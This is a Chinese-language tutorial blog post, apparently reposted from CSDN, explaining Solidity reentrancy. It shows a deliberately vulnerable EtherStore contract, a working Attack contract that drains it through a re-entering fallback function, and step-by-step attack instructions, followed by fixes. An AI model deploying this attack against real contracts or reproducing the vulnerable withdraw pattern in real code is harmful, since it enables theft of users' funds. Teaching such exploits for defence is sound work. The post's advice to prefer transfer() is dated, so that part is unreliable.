solidity 安全 如何阻止重入攻击

什么是可重入攻击?

       我们使用合约的过程中,经常会遇到这种情况,智能合约能够调用外部的合约;这些外部合约又可以回调到调用他们的智能合约;在这种情况下,我们说智能合约被重新输入,这种情况被称为可重入性。

        正常使用的时候,是没有任何问题;如果攻击者,将攻击代码,插入到合约执行流程中,使得合约执行正常逻辑之外的攻击代码,就会给用户带来损失。

        当用户使用用户账户调用合约B时,属于正常调用,不会有问题;

        如果攻击者创建一个attack合约,去调用B时,就可以发生类似如下的过程;B又回调到attack

合约,然后attack又再次调用到合约B;

 发生这种情况的关键是以下两点:

        1.通过转账调用合约

        gas().call.vale()():在调用时会发送所有的 gas,当发送失败时会返回布尔值 false,不能有效的防止重入攻击。

        transfer()和send():只会发送 2300 gas 进行调用,当发送失败时会通过 throw 来进行回滚操作,从而防止了重入攻击。

        2.声明一个可攻击的fallback函数

        回退函数 (fallback function):回退函数是每个合约中有且仅有一个没有名字的函数,并且该函数无参数,无返回值。

function() public payable(){}

        回退函数在以下几种情况中被执行:

  •         调用合约时没有匹配到调用的函数;
  •         调用合约时没有传数据;
  •         fallback 函数必被标记为 payable时,智能合约收到以太币;

合约分析

        首先部署一个合约——EtherStore,你可以存取ETH。但是这个合约是容易受到重入攻击。

        这里重点分析withdraw函数,首先判断发送者的balance是否大于0,如果大于0,则将balance发送给sender,注意到这里它用来发送ether的函数是call.value,发送完成后,才在下面更新了sender的balances,这里就是可重入攻击的关键所在了;

        当发送者是一个合约时,因为该函数发送ether后,会调用发送者的fallback函数,如果我们在fallback中再继续调用EtherStore的withdraw,则程序会进入循环,不断给我们发送ether,不会执行balances[msg.sender] = 0;无法更新余额,直到EtherStore的余额为0。

contract EtherStore {
    mapping(address => uint) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint bal = balances[msg.sender];
        require(bal > 0);

        (bool sent, ) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");

        balances[msg.sender] = 0;
    }

    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

攻击合约如下,我们在攻击合约里的fallback函数里,继续调用EtherStore的withdraw;然后调用attack发动攻击;

contract Attack {
    EtherStore public etherStore;

    constructor(address _etherStoreAddress) {
        etherStore = EtherStore(_etherStoreAddress);
    }

    fallback() external payable {
        if (address(etherStore).balance >= 1 ether) {
            etherStore.withdraw();
        }
    }

    function attack() external payable {
        require(msg.value >= 1 ether);
        etherStore.deposit{value: 1 ether}();
        etherStore.withdraw();
    }

    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

攻击流程

1、部署EtherStore合约

2、账户A调用EtherStore.deposit(),存入3eth;账户B调用EtherStore.deposit(),存入2eth;

3、部署attack合约

4、账户C调用Attack.attck().完成攻击;

预防与修复

使用其他的转账函数:

如果用户的目的只是向目标地址转账,那么一定要使用transfer函数。

checks-effect-interaction

编写合约函数时, 先检查,然后生效,最后才是交互。

    function withdraw() public {
        uint bal = balances[msg.sender];
        require(bal > 0); //checks
        balances[msg.sender] = 0; //effect
        (bool sent, ) = msg.sender.call{value: bal}(""); //interaction
        require(sent, "Failed to send Ether");

        
    }

使用互斥锁 

 添加一个在代码执行过程中锁定合约的状态变量以防止重入攻击。

contract ReEntrancyGuard {
    bool internal locked;

    modifier noReentrant() {
        require(!locked, "No re-entrancy");
        locked = true;
        _;
        locked = false;
    }
}

也可以直接使用OpenZeppelin提供的重入锁。

openzeppelin-contracts/ReentrancyGuard.sol at master · OpenZeppelin/openzeppelin-contracts · GitHub

猜你喜欢

转载自blog.csdn.net/xq723310/article/details/130447306